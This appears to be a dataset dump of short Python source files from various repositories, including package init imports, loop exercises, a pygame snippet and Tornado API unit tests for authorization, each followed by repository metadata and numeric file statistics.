#pipeline_seg.pipeline19111410() #pipeline_seg.pipeline19111501() #pipeline_seg.pipeline19111502() #pipeline_seg.pipeline19111503() #save_train_val_test_images(save_dir='../proc_input19111501', seed=19111501, test_size=0.1) #save_train_val_test_images(save_dir='../proc_input19111502', seed=19111502, test_size=0.01) #pipeline_seg.pipeline19111402test() #pipeline_seg.pipeline19111504() #pipeline_seg.pipeline19111505() #pipeline_seg.pipeline19111506() #pipeline_seg.pipeline19111507() #pipeline_seg.pipeline19111601() #pipeline_seg.pipeline19111602() #pipeline_seg.pipeline19111603() #pipeline_seg.pipeline19111604() #pipeline_seg.pipeline19111605() #pipeline_seg.pipeline19111606() #pipeline_seg.pipeline19111610() #pipeline_seg.pipeline19111701() #pipeline_seg.pipeline19111702() #pipeline_seg.pipeline19111703() #pipeline_seg.pipeline19111704() #pipeline_seg.pipeline19111705() #pipeline_seg.pipeline19111710() #pipeline_seg.pipeline19111711() #pipeline_seg.pipeline19111712() #pipeline_seg.pipeline19111713() #pipeline_seg.pipline_test_19111801() #pipeline_seg.pipline_test_19111802() #pipeline_seg.pipeline19111714() #pipeline_seg.pipline_test_19111804() #pipeline_seg.pipline_test_19111803() pipeline_seg.pipline_test_19111805()

32

93

0.835771

457

4,512

7.774617

0.297593

0.281734

0.094568

0.126091

0.250493

0.22291

0.049536

0

0.207158

0.064938

4,512

140

94

32.228571

0.634985

0.872784

0

1

0

true

0

0.75

0

0.75

0

null

1

0

1

0

1

0

null

0

1

0

1

0

5

f9552f5bd382a03e7499093e98bde00aae387a85

92

py

Python

reapy/core/window/__init__.py

AmrShaloudi/reapy

f38fa447b8ab1f018171e0cffb8c7f47bcdd1b88

[ "MIT" ]

71

2019-02-23T02:24:45.000Z

2022-03-23T22:28:08.000Z

reapy/core/window/__init__.py

AmrShaloudi/reapy

f38fa447b8ab1f018171e0cffb8c7f47bcdd1b88

[ "MIT" ]

107

2019-02-25T16:48:34.000Z

2022-03-28T01:59:04.000Z

reapy/core/window/__init__.py

AmrShaloudi/reapy

f38fa447b8ab1f018171e0cffb8c7f47bcdd1b88

[ "MIT" ]

26

2019-04-08T09:45:02.000Z

2022-03-27T14:55:24.000Z

from .midi_editor import MIDIEditor from .tooltip import ToolTip from .window import Window

23

35

0.836957

13

92

5.846154

0.538462

0

0.130435

92

3

36

30.666667

0.95

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

f96368b8d6cce7e892932203a38f21ce8c080f48

46

py

Python

fireworks/toolbox/__init__.py

kellylab/Fireworks

ff027cd8d1b8ce5eec6a37d786e7de675d8c0849

[ "MIT" ]

9

2019-05-01T01:22:10.000Z

2020-12-08T15:41:13.000Z

fireworks/toolbox/__init__.py

smk508/Fireworks

ff027cd8d1b8ce5eec6a37d786e7de675d8c0849

[ "MIT" ]

53

2019-01-20T17:02:38.000Z

2019-03-24T18:00:08.000Z

fireworks/toolbox/__init__.py

smk508/Fireworks

ff027cd8d1b8ce5eec6a37d786e7de675d8c0849

[ "MIT" ]

4

2019-07-04T15:39:46.000Z

2021-08-17T04:59:25.000Z

from .pipes import * from .junctions import *

15.333333

24

0.73913

6

46

5.666667

0.666667

0

0.173913

46

2

25

23

0.894737

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

5

f969b01b8bd2a13559fd5b6c01a2754beff39eee

160

py

Python

forloops/14.py

mallimuondu/python-practice

64fce60a646032152db8b35e20df06b2edc349ae

[ "MIT" ]

null

forloops/14.py

mallimuondu/python-practice

64fce60a646032152db8b35e20df06b2edc349ae

[ "MIT" ]

null

forloops/14.py

mallimuondu/python-practice

64fce60a646032152db8b35e20df06b2edc349ae

[ "MIT" ]

null

for a in range (2,21): if a > 1: for i in range(2,a): if (a % i) == 0: break else: print(a)

20

28

0.31875

23

160

2.217391

0.565217

0.27451

0.313725

0

0.085714

0.5625

160

8

29

20

0.642857

0

1

0

false

0

0.142857

1

0

null

1

0

1

0

1

0

null

0

5

f98cdd612c6a474c8d5fd94d9793025125bb2b5d

33

py

Python

fennec/__init__.py

amaotone/workbox

5c5e308105d469875e03cf90efe44b85f94299ae

[ "MIT" ]

1

2020-12-06T02:30:52.000Z

fennec/__init__.py

amaotone/workbox

5c5e308105d469875e03cf90efe44b85f94299ae

[ "MIT" ]

3

2020-12-07T04:36:37.000Z

2020-12-07T22:52:11.000Z

fennec/__init__.py

amaotone/workbox

5c5e308105d469875e03cf90efe44b85f94299ae

[ "MIT" ]

null

from .workspace import Workspace

16.5

32

0.848485

4

33

7

0.75

0

0.121212

33

1

33

0.965517

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

5

f992a03c69796dd5b78d9d58f34824758a9eae8e

116

py

Python

src/speechless/edit_context/__init__.py

Exepp/SpeechLess

6e7424e979f39132650db0d7426c1e9449dc43b8

[ "MIT" ]

1

2022-03-17T14:51:41.000Z

src/speechless/edit_context/__init__.py

Exepp/SpeechLess

6e7424e979f39132650db0d7426c1e9449dc43b8

[ "MIT" ]

14

2021-06-23T02:27:22.000Z

2021-11-27T15:43:39.000Z

src/speechless/edit_context/__init__.py

Exepp/SpeechLess

6e7424e979f39132650db0d7426c1e9449dc43b8

[ "MIT" ]

null

from .video import VideoEditContext from .audio import AudioEditContext from .common import EditCtx, TimelineChange

29

43

0.853448

13

116

7.615385

0.692308

0

0.112069

116

3

44

38.666667

0.961165

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

ddd675fc88938d926a195fe0c5e5486e0e7c8759

10,248

py

Python

tests/unit/handlers/test_domains_violations_prefs.py

scorphus/holmes-api

6b3c76d4299fecf2d8799d7b5c3c6a6442cacd59

[ "MIT" ]

null

tests/unit/handlers/test_domains_violations_prefs.py

scorphus/holmes-api

6b3c76d4299fecf2d8799d7b5c3c6a6442cacd59

[ "MIT" ]

null

tests/unit/handlers/test_domains_violations_prefs.py

scorphus/holmes-api

6b3c76d4299fecf2d8799d7b5c3c6a6442cacd59

[ "MIT" ]

null

#!/usr/bin/python # -*- coding: utf-8 -*- from preggy import expect from tornado.testing import gen_test from tornado.httpclient import HTTPError from ujson import loads, dumps from tests.unit.base import ApiTestCase from tests.fixtures import ( DomainFactory, DomainsViolationsPrefsFactory, KeyFactory, UserFactory ) from holmes.models import ( DomainsViolationsPrefs, Key, KeysCategory, Domain, User ) class TestDomainsViolationsPrefsHandler(ApiTestCase): def tearDown(self): self.db.rollback() self.db.query(DomainsViolationsPrefs).delete() self.db.query(Domain).delete() self.db.query(Key).delete() self.db.query(KeysCategory).delete() self.db.query(User).delete() self.db.commit() self.server.application.redis.flushdb() super(ApiTestCase, self).tearDown() @gen_test def test_can_get_prefs_for_invalid_domain(self): try: yield self.authenticated_fetch('/domains/blah.com/violations-prefs/') except HTTPError, e: expect(e).not_to_be_null() expect(e.code).to_equal(404) expect(e.response.reason).to_equal('Domain blah.com not found') @gen_test def test_cant_get_prefs_as_anonymous_user(self): try: yield self.anonymous_fetch('/domains/blah.com/violations-prefs/') except HTTPError, e: expect(e).not_to_be_null() expect(e.code).to_equal(401) expect(e.response.reason).to_equal('Unauthorized') @gen_test def test_can_get_prefs(self): domain = DomainFactory.create(name='globo.com') key1 = KeyFactory.create(name='some.random.1') key2 = KeyFactory.create(name='some.random.2') DomainsViolationsPrefsFactory.create(domain=domain, key=key1, value=100) DomainsViolationsPrefsFactory.create(domain=domain, key=key2, value=2) self.server.application.violation_definitions = { 'some.random.1': { 'category': 'SEO', 'default_value': 100, 'default_value_description': 'My some.random.1', 'unit': 'number' }, 'some.random.2': { 'category': 'HTTP', 'default_value': 2, 'default_value_description': 'My some.random.2', 'unit': 'number' }, } response = yield self.authenticated_fetch( '/domains/%s/violations-prefs/' % domain.name ) expect(response.code).to_equal(200) prefs = loads(response.body) expect(prefs).to_length(2) expect(prefs[0]).to_length(6) expect(prefs[1]).to_length(6) expect(prefs).to_be_like([ { 'category': 'SEO', 'default_value': 100, 'title': 'My some.random.1', 'value': 100, 'key': 'some.random.1', 'unit': 'number' },{ 'category': 'HTTP', 'default_value': 2, 'title': 'My some.random.2', 'value': 2, 'key': 'some.random.2', 'unit': 'number' } ]) @gen_test def test_can_get_prefs_with_invalid_violation_definition(self): domain = DomainFactory.create(name='globo.com') key = KeyFactory.create(name='some.random.1') DomainsViolationsPrefsFactory.create(domain=domain, key=key) self.server.application.violation_definitions = {} response = yield self.authenticated_fetch( '/domains/%s/violations-prefs/' % domain.name ) expect(response.code).to_equal(200) expect(loads(response.body)).to_length(0) @gen_test def test_can_save_prefs_as_superuser(self): self.db.query(User).delete() user = UserFactory(email='superuser@user.com', is_superuser=True) domain = DomainFactory.create(name='globo.com') key = KeyFactory.create(name='some.random') DomainsViolationsPrefsFactory.create(domain=domain, key=key, value=100) loaded_prefs = DomainsViolationsPrefs.get_domains_violations_prefs_by_domain(self.db, domain.name) expect(loaded_prefs).to_length(1) expect(loaded_prefs[0]).to_be_like({ 'value': 100, 'key': 'some.random' }) yield self.authenticated_fetch( '/domains/%s/violations-prefs/' % domain.name, user_email=user.email, method='POST', body=dumps([ {'key': 'some.random', 'value': 10}, ]) ) loaded_prefs = DomainsViolationsPrefs.get_domains_violations_prefs_by_domain(self.db, domain.name) expect(loaded_prefs).to_length(1) expect(loaded_prefs[0]).to_be_like({ 'value': 10, 'key': 'some.random' }) @gen_test def test_cant_save_prefs_as_normal_user(self): self.db.query(User).delete() user = UserFactory(email='normalser@user.com', is_superuser=False) domain = DomainFactory.create(name='globo.com') key = KeyFactory.create(name='some.random') DomainsViolationsPrefsFactory.create(domain=domain, key=key, value=100) loaded_prefs = DomainsViolationsPrefs.get_domains_violations_prefs_by_domain(self.db, domain.name) expect(loaded_prefs).to_length(1) expect(loaded_prefs[0]).to_be_like({ 'value': 100, 'key': 'some.random' }) try: yield self.authenticated_fetch( '/domains/%s/violations-prefs/' % domain.name, user_email=user.email, method='POST', body=dumps([ {'key': 'some.random', 'value': 10}, ]) ) except HTTPError, e: expect(e).not_to_be_null() expect(e.code).to_equal(401) expect(e.response.reason).to_be_like('Unauthorized') else: assert False, 'Should not have got this far' loaded_prefs = DomainsViolationsPrefs.get_domains_violations_prefs_by_domain(self.db, domain.name) expect(loaded_prefs).to_length(1) expect(loaded_prefs[0]).to_be_like({ 'value': 100, 'key': 'some.random' }) @gen_test def test_cant_save_prefs_as_anonymous_user(self): domain = DomainFactory.create(name='globo.com') key = KeyFactory.create(name='some.random') DomainsViolationsPrefsFactory.create(domain=domain, key=key, value=100) loaded_prefs = DomainsViolationsPrefs.get_domains_violations_prefs_by_domain(self.db, domain.name) expect(loaded_prefs).to_length(1) expect(loaded_prefs[0]).to_be_like({ 'value': 100, 'key': 'some.random' }) try: yield self.anonymous_fetch( '/domains/%s/violations-prefs/' % domain.name, method='POST', body=dumps([ {'key': 'some.random', 'value': 10}, ]) ) except HTTPError, e: expect(e).not_to_be_null() expect(e.code).to_equal(401) expect(e.response.reason).to_be_like('Unauthorized') else: assert False, 'Should not have got this far' loaded_prefs = DomainsViolationsPrefs.get_domains_violations_prefs_by_domain(self.db, domain.name) expect(loaded_prefs).to_length(1) expect(loaded_prefs[0]).to_be_like({ 'value': 100, 'key': 'some.random' }) @gen_test def test_can_save_prefs_for_invalid_domain_as_superuser(self): self.db.query(User).delete() user = UserFactory(email='superuser@user.com', is_superuser=True) try: yield self.authenticated_fetch( '/domains/blah.com/violations-prefs/', method='POST', user_email=user.email, body=dumps([ {'key': 'some.random', 'value': 10}, ]) ) except HTTPError, e: expect(e).not_to_be_null() expect(e.code).to_equal(404) expect(e.response.reason).to_equal('Domain blah.com not found') @gen_test def test_cant_save_prefs_as_anonymous_user(self): try: yield self.anonymous_fetch( '/domains/blah.com/violations-prefs/', method='POST', body=dumps([ {'key': 'some.random', 'value': 10}, ]) ) except HTTPError, e: expect(e).not_to_be_null() expect(e.code).to_equal(401) expect(e.response.reason).to_equal('Unauthorized') @gen_test def test_cant_save_prefs_with_invalid_cookie(self): try: yield self.http_client.fetch( self.get_url('/domains/blah.com/violations-prefs/'), method='POST', body=dumps([ {'key': 'some.random', 'value': 10}, ]), headers={'Cookie': 'HOLMES_AUTH_TOKEN=INVALID'} ) except HTTPError, e: expect(e).not_to_be_null() expect(e.code).to_equal(401) expect(e.response.reason).to_equal('Unauthorized') @gen_test def test_can_save_prefs_as_normal_user(self): self.db.query(User).delete() user = UserFactory(email='normaluser@user.com', is_superuser=False) try: yield self.authenticated_fetch( '/domains/blah.com/violations-prefs/', method='POST', user_email=user.email, body=dumps([ {'key': 'some.random', 'value': 10}, ]) ) except HTTPError, e: expect(e).not_to_be_null() expect(e.code).to_equal(401) expect(e.response.reason).to_be_like('Unauthorized') expect(e.response.body).to_be_like('Unauthorized') else: assert False, 'Should not have got this far'

34.621622

106

0.573283

1,122

10,248

5.032977

0.122103

0.047813

0.034532

0.027271

0.826102

0.738268

0.709226

0.680538

0.675934

0

0.016833

0.304352

10,248

295

107

34.738983

0.775284

0.003708

0

0.6917

0

0.137049

0.042124

0

0.011858

0

null

0

0.027668

null

0

null

0

1

0

1

0

null

0

1

0

5

dddb3252feb78ef62b2ddd3e3f787697f5b9c619

105

py

Python

utils/__init__.py

rotmanmi/hp-vae-gan

70c67c8ad9ff1f8c48a2bf7f883cd1f2cfd0c043

[ "MIT" ]

45

2020-06-23T17:08:35.000Z

2022-03-31T15:34:29.000Z

utils/__init__.py

rotmanmi/hp-vae-gan

70c67c8ad9ff1f8c48a2bf7f883cd1f2cfd0c043

[ "MIT" ]

4

2020-11-11T03:50:58.000Z

2021-11-29T08:50:17.000Z

utils/__init__.py

rotmanmi/hp-vae-gan

70c67c8ad9ff1f8c48a2bf7f883cd1f2cfd0c043

[ "MIT" ]

9

2020-06-25T05:47:32.000Z

2022-01-20T00:29:30.000Z

from .saver import VideoSaver, ImageSaver from .summaries import TensorboardSummary from .images import *

35

41

0.838095

12

105

7.333333

0.666667

0

0.114286

105

3

42

35

0.946237

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

fb0a39a81d3fea29e86840ce490820c0e22de5f6

131

py

Python

python/Mundo 1/ex021.py

eduardoranucci/Python-CursoEmVideo

a91f923f8d42e0eac7732de37136431a6db69a7a

[ "MIT" ]

null

python/Mundo 1/ex021.py

eduardoranucci/Python-CursoEmVideo

a91f923f8d42e0eac7732de37136431a6db69a7a

[ "MIT" ]

null

python/Mundo 1/ex021.py

eduardoranucci/Python-CursoEmVideo

a91f923f8d42e0eac7732de37136431a6db69a7a

[ "MIT" ]

null

import pygame pygame.mixer.init() pygame.init() pygame.mixer.music.load('freak.mp3') pygame.mixer_music.play() pygame.event.wait()

18.714286

36

0.770992

20

131

5

0.55

0.33

0.32

0

0.008065

0.053435

131

7

37

18.714286

0.798387

0

0.068182

0

1

0

true

0

0.166667

0

0.166667

0

1

0

null

1

0

1

0

null

0

1

0

5

fb2468e9bd8561ff63797afb2f3e90cd9ce11387

92

py

Python

lighthouse/__init__.py

michael-tpcasas/lighthouse-python

db884ba740be83317b47377f083109226ba9eb39

[ "MIT" ]

12

2019-11-07T08:10:55.000Z

2022-02-24T11:16:25.000Z

lighthouse/__init__.py

michael-tpcasas/lighthouse-python

db884ba740be83317b47377f083109226ba9eb39

[ "MIT" ]

3

2019-02-14T09:13:51.000Z

2020-06-15T21:04:38.000Z

lighthouse/__init__.py

michael-tpcasas/lighthouse-python

db884ba740be83317b47377f083109226ba9eb39

[ "MIT" ]

9

2019-12-03T17:31:21.000Z

2021-06-23T18:43:01.000Z

from .runner import LighthouseRunner, LighthouseRepeatRunner from .batch import BatchRunner

30.666667

60

0.869565

9

92

8.888889

0.777778

0

0.097826

92

2

61

46

0.963855

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

fb3b6ebbb5fd64f974ca925d6438ed0f31cb6bae

240

py

Python

Vamei/sequence/sequence5.py

YangPhy/learnPython

5507fa1a0d2878fc663d62509af8ff959955f822

[ "MIT" ]

5

2020-05-18T06:54:52.000Z

2021-05-29T23:17:41.000Z

Vamei/sequence/sequence5.py

YangPhy/learnPython

5507fa1a0d2878fc663d62509af8ff959955f822

[ "MIT" ]

null

Vamei/sequence/sequence5.py

YangPhy/learnPython

5507fa1a0d2878fc663d62509af8ff959955f822

[ "MIT" ]

1

2020-05-17T22:47:49.000Z

s1 = (2, 1.3, 'love', 5.6, 9, 12, False) s2 = [True, 5, 'smile'] print('s1=',s1) print('s1[:5]=',s1[:5]) print('s1[2:]=',s1[2:]) print('s1[0:5:2]=',s1[0:5:2]) print('s1[2:0:-1]=',s1[2:0:-1]) print('s1[-1]=',s1[-1]) print('s1[-3]=',s1[-3])

24

40

0.475

55

240

2.072727

0.272727

0.429825

0.140351

0.087719

0

0.206422

0.091667

240

9

41

26.666667

0.316514

0

0.254167

0

1

0

false

0

0.777778

0

null

1

0

1

0

1

0

1

0

null

0

1

0

5

34a9c0325969b7b771ed9387f208c3953fc69300

46

py

Python

arduino/__init__.py

mraje/tempcontrol

10417f5cf2c304a6b16a11ce9a5c6bfd3d56dc47

[ "MIT" ]

146

2015-01-22T18:52:43.000Z

2022-03-24T21:30:36.000Z

arduino/__init__.py

mraje/tempcontrol

10417f5cf2c304a6b16a11ce9a5c6bfd3d56dc47

[ "MIT" ]

1

2015-05-07T11:23:51.000Z

arduino/__init__.py

mraje/tempcontrol

10417f5cf2c304a6b16a11ce9a5c6bfd3d56dc47

[ "MIT" ]

59

2015-03-09T08:20:17.000Z

2022-03-24T21:30:39.000Z

#!/usr/bin/env python from arduino import *

9.2

21

0.695652

7

46

4.571429

1

0

0.173913

46

4

22

11.5

0.842105

0.434783

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

5

34b4b3716790deaac3c42d86b9ce935f493ca681

32

py

Python

adversary/impl/wgan_gp/__init__.py

felixludos/adversary

bda1d7a07da736056b69903cb51b29ccdf1eb95e

[ "MIT" ]

null

adversary/impl/wgan_gp/__init__.py

felixludos/adversary

bda1d7a07da736056b69903cb51b29ccdf1eb95e

[ "MIT" ]

null

adversary/impl/wgan_gp/__init__.py

felixludos/adversary

bda1d7a07da736056b69903cb51b29ccdf1eb95e

[ "MIT" ]

null

from .wgan_gp import GradPenalty

32

0.875

5

32

5.4

1

0

0.09375

32

1

32

0.931034

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

5

34b9c8de07de186ede815a2bf0772b530d501d5e

128

py

Python

galvasr2/align/srt_to_text.py

keithachorn-intel/peoples-speech

b7623488dff36d343f8f5a6ead0a5a3a82f723bd

[ "Apache-2.0" ]

62

2021-03-07T06:15:48.000Z

2022-03-24T18:58:57.000Z

galvasr2/align/srt_to_text.py

keithachorn-intel/peoples-speech

b7623488dff36d343f8f5a6ead0a5a3a82f723bd

[ "Apache-2.0" ]

59

2021-02-26T21:37:03.000Z

2022-03-24T16:57:12.000Z

galvasr2/align/srt_to_text.py

keithachorn-intel/peoples-speech

b7623488dff36d343f8f5a6ead0a5a3a82f723bd

[ "Apache-2.0" ]

9

2021-02-26T21:34:11.000Z

2022-02-09T04:00:50.000Z

#!/usr/bin/env python import srt import sys print(" ".join(line.content.replace("\n", " ") for line in srt.parse(sys.stdin)))

18.285714

81

0.671875

21

128

4.095238

0.809524

0

0.125

128

6

82

21.333333

0.767857

0.15625

0

0.037383

0

1

0

true

0

0.666667

0

0.666667

0.333333

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

34be6717bd03e5c3bce2596561b3d518250e4419

124

py

Python

src/tests/conftest.py

pradipta/back-end

05895b051afc4c8e0cb17db708063d80102e9de5

[ "MIT" ]

17

2019-05-11T22:15:34.000Z

2022-03-26T22:45:33.000Z

src/tests/conftest.py

pradipta/back-end

05895b051afc4c8e0cb17db708063d80102e9de5

[ "MIT" ]

390

2019-05-23T10:48:57.000Z

2021-12-17T21:01:43.000Z

src/tests/conftest.py

pradipta/back-end

05895b051afc4c8e0cb17db708063d80102e9de5

[ "MIT" ]

40

2019-05-21T14:41:57.000Z

2021-01-30T13:39:38.000Z

import django # noqa: F402 from .fixtures import * # noqa: F402, F403 def pytest_configure(config): django.setup()

15.5

43

0.693548

16

124

5.3125

0.75

0.188235

0

0.090909

0.201613

124

7

44

17.714286

0.767677

0.217742

0

1

0.25

false

0

0.5

0

0.75

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

9b5d041d2c4962a2813814403482aab61b756a87

393

py

Python

tests/analyze_tests.py

bbengfort/email-analysis

596cd3c31bbab6c00d14831262b0f492d251e18b

[ "MIT" ]

2

2015-02-15T07:25:12.000Z

2015-03-28T16:54:25.000Z

tests/metric_tests/base_tests.py

bbengfort/email-analysis

596cd3c31bbab6c00d14831262b0f492d251e18b

[ "MIT" ]

null

tests/metric_tests/base_tests.py

bbengfort/email-analysis

596cd3c31bbab6c00d14831262b0f492d251e18b

[ "MIT" ]

null

# pkg.mod # descr # # Author: Benjamin Bengfort <benjamin@bengfort.com> # Created: timestamp # # Copyright (C) 2013 Bengfort.com # For license information, see LICENSE.txt # # ID: __init__.py [] benjamin@bengfort.com $ """ """ ########################################################################## ## Imports ##########################################################################

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null

0

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5

32dca33427fc23b2832ea8f45087de6f99469ea8

211

py

Python

app/users/api_v1_0/schemas.py

ar17092/api-users

e981d47806435d649539921460644c2d10a6d611

[ "Apache-2.0" ]

null

app/users/api_v1_0/schemas.py

ar17092/api-users

e981d47806435d649539921460644c2d10a6d611

[ "Apache-2.0" ]

null

app/users/api_v1_0/schemas.py

ar17092/api-users

e981d47806435d649539921460644c2d10a6d611

[ "Apache-2.0" ]

null

from marshmallow import fields from app.ext import ma class UserSchema(ma.Schema): id = fields.Integer(dump_only=True) name = fields.String() email = fields.String() password = fields.String()

21.1

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0

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9

40

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0

1

0

false

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0

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0

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1

0

1

0

null

0

1

0

1

0

5

fd136ff7b2c9160697d3ef19cfe8c3a64a2e1458

29

py

Python

python/snark/__init__.py

jackiecx/snark

492c1b6f26b9e3e8ea6fc66ad1a8c7f997f90ec6

[ "BSD-3-Clause" ]

1

2019-06-14T15:21:24.000Z

python/snark/__init__.py

jackiecx/snark

492c1b6f26b9e3e8ea6fc66ad1a8c7f997f90ec6

[ "BSD-3-Clause" ]

null

python/snark/__init__.py

jackiecx/snark

492c1b6f26b9e3e8ea6fc66ad1a8c7f997f90ec6

[ "BSD-3-Clause" ]

null

#!/bin/python import imaging

9.666667

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true

0

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0

1

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null

0

1

0

1

0

5

fd35af4a09cee8d1584f63c2cf48642916ebf934

200

py

Python

registrasion/apps.py

pyohio/registrasion

461d5846c6f9f3b7099322a94f5d9911564448e4

[ "Apache-2.0" ]

20

2016-04-15T16:50:53.000Z

2021-12-18T10:03:58.000Z

registrasion/apps.py

pyohio/registrasion

461d5846c6f9f3b7099322a94f5d9911564448e4

[ "Apache-2.0" ]

141

2016-03-27T08:37:57.000Z

2018-01-12T11:45:22.000Z

registrasion/apps.py

pyohio/registrasion

461d5846c6f9f3b7099322a94f5d9911564448e4

[ "Apache-2.0" ]

14

2016-01-24T01:01:39.000Z

2019-10-14T05:43:32.000Z

from __future__ import unicode_literals from django.apps import AppConfig class RegistrasionConfig(AppConfig): name = "registrasion" label = "registrasion" verbose_name = "Registrasion"

22.222222

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0

1

0

1

0

5

fd49270328bd92f20f7f788509b10a5e1e4b1076

104

py

Python

website/weather/admin.py

T-Santos/django-weather-app

79ee6ad67b861aaf27396965a1d45012deadca3b

[ "MIT" ]

null

website/weather/admin.py

T-Santos/django-weather-app

79ee6ad67b861aaf27396965a1d45012deadca3b

[ "MIT" ]

2

2020-02-11T23:23:09.000Z

2020-06-05T17:24:59.000Z

website/weather/admin.py

T-Santos/django-weather-app

79ee6ad67b861aaf27396965a1d45012deadca3b

[ "MIT" ]

null

from django.contrib import admin from .models import WeatherSignup admin.site.register(WeatherSignup)

17.333333

34

0.836538

13

104

6.692308

0.692308

0

0.105769

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true

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0

1

0

null

0

1

0

1

0

1

0

5

fd5f329d98445c53995da522ef96ec350e4fbc21

155

py

Python

languages/python/memquery/__init__.py

robjsliwa/mem_query

09a1ba736c4d8faadb9df6618934a611fa168647

[ "MIT" ]

null

languages/python/memquery/__init__.py

robjsliwa/mem_query

09a1ba736c4d8faadb9df6618934a611fa168647

[ "MIT" ]

8

2021-03-05T14:42:48.000Z

2021-04-17T19:20:27.000Z

languages/python/memquery/__init__.py

robjsliwa/mem_query

09a1ba736c4d8faadb9df6618934a611fa168647

[ "MIT" ]

null

from memquery.memquery import Collection, create_collection,\ collection __all__ = [ 'Collection', 'create_collection', 'collection' ]

19.375

61

0.690323

13

155

7.769231

0.461538

0.316832

0.514851

0.712871

0

0.212903

155

8

62

19.375

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0

0.237179

0

1

0

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0

0.142857

0

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0

1

0

null

1

0

1

0

null

0

5

bd058d578466fa7c0bcd977779aa60db76d20bb8

87

py

Python

sample/libs/users/infrastructure/find_user_command.py

ticdenis/python-aiodi

4ad35145674f5ec0ed6324bec7dd186ab0a8bc33

[ "MIT" ]

1

2021-11-10T00:21:34.000Z

sample/libs/users/infrastructure/find_user_command.py

ticdenis/python-aiodi

4ad35145674f5ec0ed6324bec7dd186ab0a8bc33

[ "MIT" ]

1

2022-01-29T15:40:26.000Z

2022-02-20T20:08:55.000Z

sample/libs/users/infrastructure/find_user_command.py

ticdenis/python-aiodi

4ad35145674f5ec0ed6324bec7dd186ab0a8bc33

[ "MIT" ]

null

from sample.libs.utils import Command class FindUserCommand(Command): email: str

14.5

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87

6.090909

0.909091

0

0.16092

87

5

38

17.4

0.917808

0

1

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0

0.333333

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null

0

1

0

1

0

1

0

5

bd1f4b75bd24c8344e5e18ff92e4f09e742540ad

1,473

py

Python

notebook/while_usage.py

vhn0912/python-snippets

80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038

[ "MIT" ]

174

2018-05-30T21:14:50.000Z

2022-03-25T07:59:37.000Z

notebook/while_usage.py

vhn0912/python-snippets

80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038

[ "MIT" ]

5

2019-08-10T03:22:02.000Z

2021-07-12T20:31:17.000Z

notebook/while_usage.py

vhn0912/python-snippets

80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038

[ "MIT" ]

53

2018-04-27T05:26:35.000Z

2022-03-25T07:59:37.000Z

i = 0 while i < 3: print(i) i += 1 # 0 # 1 # 2 i = 0 while i < 3: print(i) if i == 1: print('!!BREAK!!') break i += 1 # 0 # 1 # !!BREAK!! i = 0 while i < 3: if i == 1: print('!!CONTINUE!!') i += 1 continue print(i) i += 1 # 0 # !!CONTINUE!! # 2 i = 0 while i < 3: print(i) i += 1 else: print('!!FINISH!!') # 0 # 1 # 2 # !!FINISH!! i = 0 while i < 3: print(i) if i == 1: print('!!BREAK!!') break i += 1 else: print('!!FINISH!!') # 0 # 1 # !!BREAK!! i = 0 while i < 3: if i == 1: print('!!SKIP!!') i += 1 continue print(i) i += 1 else: print('!!FINISH!!') # 0 # !!SKIP!! # 2 # !!FINISH!! import time start = time.time() while True: time.sleep(1) print('processing...') if time.time() - start > 5: print('!!BREAK!!') break # processing... # processing... # processing... # processing... # processing... # !!BREAK!! start = time.time() while 1: time.sleep(1) print('processing...') if time.time() - start > 5: print('!!BREAK!!') break # processing... # processing... # processing... # processing... # processing... # !!BREAK!! start = time.time() while time.time() - start <= 5: time.sleep(1) print('processing...') else: print('!!FINISH!!') # processing... # processing... # processing... # processing... # processing... # !!FINISH!!

12.07377

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1

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null

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5

1f9928cb006eac0284a5c2d954e1e5976aa63cbb

136

py

Python

fastapi_discord/__init__.py

abhishek0220/fastapi-discord

f06cc61a4e800eae5c09fd55329a74fbfc6e270e

[ "MIT" ]

2

2022-02-03T18:03:33.000Z

2022-03-21T10:54:41.000Z

fastapi_discord/__init__.py

abhishek0220/fastapi-discord

f06cc61a4e800eae5c09fd55329a74fbfc6e270e

[ "MIT" ]

null

fastapi_discord/__init__.py

abhishek0220/fastapi-discord

f06cc61a4e800eae5c09fd55329a74fbfc6e270e

[ "MIT" ]

null

from .client import DiscordOAuthClient from .models import Guild, User from .exeptions import InvalidRequest, RateLimited, Unauthorized

34

64

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15

136

7.666667

0.733333

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136

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true

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null

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1

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null

0

1

0

1

0

1

0

5

1f9b3de2c6a1c680692aa3fa4b9e4f8d54e6be38

162

py

Python

tasks/kernels/__init__.py

faasm/experiment-lammps

48c8802b1673b3cfc83d875e93660ef3fdd796a3

[ "Apache-2.0" ]

null

tasks/kernels/__init__.py

faasm/experiment-lammps

48c8802b1673b3cfc83d875e93660ef3fdd796a3

[ "Apache-2.0" ]

4

2020-12-07T08:06:40.000Z

2021-04-05T08:12:10.000Z

tasks/kernels/__init__.py

faasm/experiment-lammps

48c8802b1673b3cfc83d875e93660ef3fdd796a3

[ "Apache-2.0" ]

null

from invoke import Collection from . import build from . import container from . import native from . import run ns = Collection(build, container, native, run)

18

46

0.765432

22

162

5.636364

0.409091

0.322581

0

0.17284

162

8

47

20.25

0.925373

0

1

0

false

0

0.833333

0

0.833333

0

1

0

null

1

0

1

0

null

0

1

0

1

0

5

1fc032421e32e0f24d2afe75bce8a81f332f1abc

55

py

Python

wsshuttle/__main__.py

clubby789/wsshuttle

906dbfcf33dfecefda1b65b491c168bcdefec6da

[ "MIT" ]

8

2021-07-16T20:05:20.000Z

2021-11-15T00:18:52.000Z

wsshuttle/__main__.py

clubby789/wsshuttle

906dbfcf33dfecefda1b65b491c168bcdefec6da

[ "MIT" ]

null

wsshuttle/__main__.py

clubby789/wsshuttle

906dbfcf33dfecefda1b65b491c168bcdefec6da

[ "MIT" ]

1

